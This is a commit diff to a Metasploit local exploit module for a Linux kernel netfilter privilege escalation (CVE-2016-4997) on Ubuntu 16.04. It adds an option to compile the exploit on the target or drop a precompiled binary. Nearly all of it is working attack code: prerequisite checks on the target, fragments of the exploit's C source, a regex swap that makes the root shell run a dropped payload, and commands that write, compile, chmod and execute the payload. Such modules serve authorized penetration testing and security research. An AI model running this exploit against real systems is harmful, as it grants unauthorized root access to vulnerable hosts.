refactored for live compile or drop binary
parent
edd1704080
commit
7646771dec
|
@ -16,9 +16,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
super(update_info(info,
|
||||
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
|
||||
This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
|
||||
only works against Ubuntu 16.04 (not 16.04.1) with kernel
|
||||
4.4.0-21-generic. Several conditions have to be met for successful exploitation:
|
||||
4.4.0-21-generic.
|
||||
Several conditions have to be met for successful exploitation:
|
||||
Ubuntu:
|
||||
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
|
||||
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
|
||||
Kernel 4.4.0-31-generic and newer are not vulnerable.
|
||||
|
@ -53,7 +55,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
|
||||
OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false])
|
||||
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -84,36 +87,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
end
|
||||
|
||||
def libs_installed?()
|
||||
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
|
||||
# libc6-dev-i386 install
|
||||
vprint_status('Checking if 32bit C libraries are installed')
|
||||
if target.name == "Ubuntu"
|
||||
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
|
||||
if lib.include?('install')
|
||||
vprint_good('libc6-dev-i386 is installed')
|
||||
else
|
||||
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
|
||||
end
|
||||
return lib.include?('install')
|
||||
elsif target.name == "Fedora"
|
||||
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
|
||||
if lib.include?('glibc')
|
||||
vprint_good('glibc-devel.i686 is installed')
|
||||
else
|
||||
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
|
||||
end
|
||||
if lib.include?('libgcc')
|
||||
vprint_good('libgcc.i686 is installed')
|
||||
else
|
||||
print_error('libgcc.i686 is not installed. Compiling will fail.')
|
||||
end
|
||||
return (lib.include?('glibc') and lib.include?('libgcc'))
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def shemsham_installed?()
|
||||
# we want this to be false.
|
||||
vprint_status('Checking if shem or sham are installed')
|
||||
|
@ -128,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
return (shemsham.include?('shem') or shemsham.include?('sham'))
|
||||
end
|
||||
|
||||
if libs_installed?() and iptables_loaded?() and not shemsham_installed?()
|
||||
if iptables_loaded?() and not shemsham_installed?()
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
|
@ -136,6 +109,61 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
|
||||
def has_prereqs?()
|
||||
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
|
||||
if target.name == "Ubuntu"
|
||||
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
|
||||
if lib.include?('install')
|
||||
vprint_good('libc6-dev-i386 is installed')
|
||||
else
|
||||
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
|
||||
end
|
||||
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
|
||||
if multilib.include?('install')
|
||||
vprint_good('gcc-multilib is installed')
|
||||
else
|
||||
print_error('gcc-multilib is not installed. Compiling will fail.')
|
||||
end
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
end
|
||||
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
|
||||
elsif target.name == "Fedora"
|
||||
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
|
||||
if lib.include?('glibc')
|
||||
vprint_good('glibc-devel.i686 is installed')
|
||||
else
|
||||
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
|
||||
end
|
||||
if lib.include?('libgcc')
|
||||
vprint_good('libgcc.i686 is installed')
|
||||
else
|
||||
print_error('libgcc.i686 is not installed. Compiling will fail.')
|
||||
end
|
||||
multilib = false #not implemented
|
||||
gcc = false #not implemented
|
||||
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if has_prereqs?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
||||
env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
||||
|
@ -144,6 +172,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
|
||||
|
||||
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
|
||||
# removed #include <netinet/in.h> per busterb comment in PR 7326
|
||||
decr = %q{
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
|
@ -151,12 +180,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <netinet/in.h>
|
||||
#include <linux/sched.h>
|
||||
#include <errno.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <netinet/in.h>
|
||||
#include <net/if.h>
|
||||
#include <linux/netfilter_ipv4/ip_tables.h>
|
||||
#include <linux/netlink.h>
|
||||
|
@ -315,16 +344,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
|
||||
"execl(\"#{payload_path}\", NULL);")
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
def pwn(payload_path, pwn_file, pwn)
|
||||
# lets write our payload since everythings set for priv esc
|
||||
vprint_status("Writing payload to #{payload_path}")
|
||||
write_file(payload_path, generate_payload_exe)
|
||||
cmd_exec("chmod 555 #{payload_path}")
|
||||
#register_file_for_cleanup(payload_path)
|
||||
register_file_for_cleanup(payload_path)
|
||||
|
||||
# now lets drop part 2, and finish up.
|
||||
print_status "Writing pwn executable to #{pwn_file}.c"
|
||||
|
@ -332,11 +357,24 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
rm_f "#{pwn_file}.c"
|
||||
write_file("#{pwn_file}.c", pwn)
|
||||
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
|
||||
#register_file_for_cleanup("#{pwn_file}.c")
|
||||
#register_file_for_cleanup(pwn_file)
|
||||
register_file_for_cleanup("#{pwn_file}.c")
|
||||
register_file_for_cleanup(pwn_file)
|
||||
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
|
||||
end
|
||||
|
||||
if not compile # we need to override with our pre-created binary
|
||||
# pwn file
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-2')
|
||||
fd = ::File.open( path, "rb")
|
||||
pwn = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
# desc file
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-1')
|
||||
fd = ::File.open( path, "rb")
|
||||
decr = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
end
|
||||
|
||||
# check for shortcut
|
||||
if datastore['REEXPLOIT']
|
||||
pwn(payload_path, pwn_file, pwn)
|
||||
|
|
Loading…
Reference in New Issue